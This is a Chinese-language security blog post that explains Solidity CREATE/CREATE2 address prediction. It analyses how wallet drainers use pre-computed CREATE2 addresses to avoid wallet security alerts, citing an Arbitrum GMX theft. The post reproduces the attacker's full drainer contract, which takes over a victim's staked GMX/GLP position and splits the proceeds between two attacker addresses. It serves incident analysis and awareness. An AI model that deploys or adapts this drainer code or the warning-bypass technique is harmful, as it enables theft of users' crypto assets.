前言
最近链上的TVL很高，Wallet Drainers也越来越活跃了。
自己简单看了下,感觉蛮有趣的，因为最近手中的事情太多了，就简单记录下。
Create和Create2
在了解如何bypass钱包的安全告警之前，首先需要了解这一行为的实现，基于Create2
Create
EOA可以创建智能合约，智能合约同样也是可以创建智能合约的
create通常与address结合使用，用于在智能合约中创建新的合约实例。通过使用create，合约可以在其执行期间动态地生成新的合约。
这边我写一个简单的示例：
contract Factory {
event NewContract(address indexed createdContract);
function createNewContract() external {
// 使用 create 创建新的合约
address newContract = address(new MyContract());
emit NewContract(newContract);
}
}
contract MyContract {
// 合约的逻辑和状态变量
address public owner;
constructor() {
owner = msg.sender;
}
function isOwner() external view returns (bool) {
return msg.sender == owner;
}
}
首先部署Factory合约 合约地址为0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
然后创建新的合约createNewContract，可以看到日志中：
\[
{
"from": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95",
"topic": "0x387ea218537e939551af33bbc2dd6c53b1fee55d377a0dce288258f972cb3a9c",
"event": "NewContract",
"args": {
"0": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a",
"createdContract": "0xc176E14869501dd2B8DCFaAe60Bd022717b6350a"
}soli
}
\]
可以看到创建了合约0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
我们再去部署MyContract 可以发现合约地址为0xc176E14869501dd2B8DCFaAe60Bd022717b6350a
点击owner为
“0”: “address: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95”
owner为创建的合约地址，那么就实现了在合约中创建合约的目的。
Create2
create2 允许合约在指定的地址上创建新的合约实例
那么就可以达到“预测”合约地址的方法
因为在地址的计算机制中，通常使用keccak256 哈希函数计算合约地址
create2为我们提供了一个计算地址的salt值，这样我们就可以更加灵活地控制合约地址
比如我们使用create2，我们可以在创建合约之前预测新创建的合约地址，如果我们在该地址上预先提供好需要部署的合约，那么就可以达到很多目的，比如：可以进行代币转移，合约升级，恶意合约的部署等等。
写一个简单的示例：
contract PredictableContract {
address public owner;
event ContractCreated(address indexed newContract, address indexed owner);
constructor(address _owner) payable {
owner = _owner;
}
function getOwner() public view returns (address) {
return owner;
}
}
contract Factory {
function deploy(uint _salt) public payable returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
type(PredictableContract).creationCode
)
);
address newContract = address(uint160(uint256(hash)));
return address(new PredictableContract{salt: bytes32(_salt)}(msg.sender));
}
}
给salt为66在部署的合约(合约地址0x3596A5B0cb68D61C071d5A535A3B676fB2b7D678)
中deploy一个合约
可以看到
| 解码输入 | { “uint256 _salt”: “66” } |
|---|---|
| 解码输出 | { “0”: “address: 0xa852De88789ced6c8aF04738Cfb0E444cbb83102” } |
得到预测的合约0xa852De88789ced6c8aF04738Cfb0E444cbb83102
我们部署到owner合约地址可以看到owner为
0xa852De88789ced6c8aF04738Cfb0E444cbb83102
也可以看下这位师傅写的solidity使用create2预测合约地址｜create2用法｜
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ContractDemo {
address public owner;
// Only owners can call transactions marked with this modifier
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
constructor(address _owner) payable {
owner = _owner;
}
function getOwner() public view returns (address) {
return owner;
}
}
contract Factory {
// Returns the address of the newly deployed contract
function deploy(
uint _salt
) public payable returns (address) {
return address(new ContractDemo{salt: bytes32(_salt)}(msg.sender));
}
// 获取待部署合约字节码
function getBytecode()
public
view
returns (bytes memory)
{
bytes memory bytecode = type(ContractDemo).creationCode;
return abi.encodePacked(bytecode, abi.encode(msg.sender));
}
/** 获取待部署合约地址
params:
_salt: 随机整数，用于预计算地址
*/
function getAddress(uint256 _salt)
public
view
returns (address)
{
// Get a hash concatenating args passed to encodePacked
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), // 0
address(this), // address of factory contract
_salt, // a random salt
keccak256(getBytecode()) // the wallet contract bytecode
)
);
// Cast last 20 bytes of hash to address
return address(uint160(uint256(hash)));
}
}
更多详情:Create2 & Precompute Contract Address with Create2 | Solidity by Example
Bypass Wallet Warning
bypass流程
用ScamSniffer的图示 很清晰了，后续我再次捕捉这种基于create2的钓鱼或者攻击手段会更新再这篇
相关事件
攻击链
事件hash:
0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96(Txhash) Details | Arbiscan
攻击者通过GMX: Reward Router提取代币
0x4e1d6fcb620e87cedb1b67b5212a23ed1265acf4b8dcf646bc0810cfc3600260(Txhash) Details | Arbiscan
通过Create2预先计算的地址
Contract Address 0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91 | Arbiscan
0xbD2BF58Be46619B7A22cE9457e1D51A10B82EB91是一个预先计算的合约地址，为空合约
作为绕过钱包安全警告，这个合约地址是在wallet drainer转移其资产时(调用 create2 之后)创建的
意思就是：当你同意了签名，然后这个合约才被创建，你的资产通过这个创建后的合约进行转移
可以看详细链路：
arbitrum-0x0b8d095c9ee0f27362240ed3f315afa12d6f88a6a0c15b99231bc14d4dd1fb96 | MetaSleuth
攻击者合约
// File: contracts/gmxUnstake.sol
pragma solidity ^0.8.0;
contract GmxUnstake {
address rewardRouter = 0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1;
address stakedGmxTracker = 0x908C4D94D34924765f1eDc22A1DD098397c59dD4;
address gmxToken = 0xfc5A1A6EB076a2C7aD06eD22C90d7E710E35ad0a;
address feeAndStakedGlp = 0x1aDDD80E6039594eE970E5872D247bf0414C8903;
address rewardRouterV2 = 0xB95DB5B167D75e6d04227CfFFA61069348d271F5;
receive() external payable {}
fallback() external payable {}
modifier onlyOwner() {
require(
tx.origin == 0x0000db5c8B030ae20308ac975898E09741e70000,
"Caller is not an owner"
);
_;
}
function acceptTransfer(address victim) private {
(bool success, ) = (rewardRouter).call(
abi.encodeWithSignature("acceptTransfer(address)", victim)
);
require(success, "Can't accept transfer");
}
function handleRewards() private {
(bool success, ) = (rewardRouter).call(
abi.encodeWithSignature(
"handleRewards(bool,bool,bool,bool,bool,bool,bool)",
false,
false,
true,
false,
false,
true,
true
)
);
require(success, "Can't handle rewards");
}
function unstakeGmx(
uint16 percentageForFirstAddressInBasisPoints,
address firstAddress,
address secondAddress
) private {
(bool callSuccess, bytes memory data) = (stakedGmxTracker).call(
abi.encodeWithSignature(
"depositBalances(address,address)",
address(this),
gmxToken
)
);
require(
callSuccess && data.length > 0,
"Can't not get staked gmx amount"
);
uint256 stakedGmx = abi.decode(data, (uint256));
if (stakedGmx > 0) {
(bool unstakeSuccess, ) = (rewardRouter).call(
abi.encodeWithSignature("unstakeGmx(uint256)", stakedGmx)
);
require(unstakeSuccess, "Can't not unstake");
uint256 gmxAmountForFirstAddress = (stakedGmx *
percentageForFirstAddressInBasisPoints) / 10000;
uint256 gmxAmountForSecondAddress = stakedGmx -
gmxAmountForFirstAddress;
if (gmxAmountForFirstAddress > 0) {
(bool firstTransferSuccess, ) = gmxToken.call(
abi.encodeWithSignature(
"transfer(address,uint256)",
firstAddress,
gmxAmountForFirstAddress
)
);
require(firstTransferSuccess, "First gmx transfer failed");
}
if (gmxAmountForSecondAddress > 0) {
(bool secondTransferSuccess, ) = gmxToken.call(
abi.encodeWithSignature(
"transfer(address,uint256)",
secondAddress,
gmxAmountForSecondAddress
)
);
require(secondTransferSuccess, "Second gmx transfer failed");
}
}
}
function unstakeGlp(uint256 lpPrice, uint256 ethPrice) private {
(bool callSuccess, bytes memory data) = (feeAndStakedGlp).call(
abi.encodeWithSignature("balanceOf(address)", address(this))
);
require(callSuccess && data.length > 0, "Can't get glp token balance");
uint256 stakedBalance = abi.decode(data, (uint256));
if (stakedBalance > 0) {
(bool unstakeSuccess, ) = (rewardRouterV2).call(
abi.encodeWithSignature(
"unstakeAndRedeemGlpETH(uint256,uint256,address)",
stakedBalance,
(((stakedBalance * lpPrice) / ethPrice) * 9) / 10, // Calculate the min out value + remove 10%
address(this)
)
);
require(unstakeSuccess, "Can't unstake and redeem glp ETH");
}
}
function call(
address target,
bytes calldata data,
uint256 value
) public onlyOwner {
(bool success, bytes memory returnData) = target.call{value: value}(
data
);
require(success, string(returnData));
}
function unstake(
address victim,
uint16 percentageForFirstAddressInBasisPoints,
address firstAddress,
address secondAddress,
uint256 lpPrice,
uint256 ethPrice
) public onlyOwner {
require(
percentageForFirstAddressInBasisPoints <= 10000,
"Percentage must be between 0 and 10000"
);
require(
firstAddress != address(0) && secondAddress != address(0),
"Invalid address"
);
acceptTransfer(victim);
handleRewards();
unstakeGmx(
percentageForFirstAddressInBasisPoints,
firstAddress,
secondAddress
);
unstakeGlp(lpPrice, ethPrice);
if (address(this).balance > 0) {
uint256 amountForFirstAddress = (address(this).balance *
percentageForFirstAddressInBasisPoints) / 10000;
uint256 amountForSecondAddress = address(this).balance -
amountForFirstAddress;
if (amountForFirstAddress > 0) {
(bool success, ) = firstAddress.call{
value: amountForFirstAddress
}("");
require(success, "First transfer failed");
}
if (amountForSecondAddress > 0) {
(bool success, ) = secondAddress.call{
value: amountForSecondAddress
}("");
require(success, "Second transfer failed");
}
}
}
}
参考
Wallet Drainers Starts Using Create2 Bypass Wallet Security Alert – Scam Sniffer
原文始发于奇安信攻防社区（我会一直开心）：探究Wallet Drainers使用Create2 Bypass钱包安全告警
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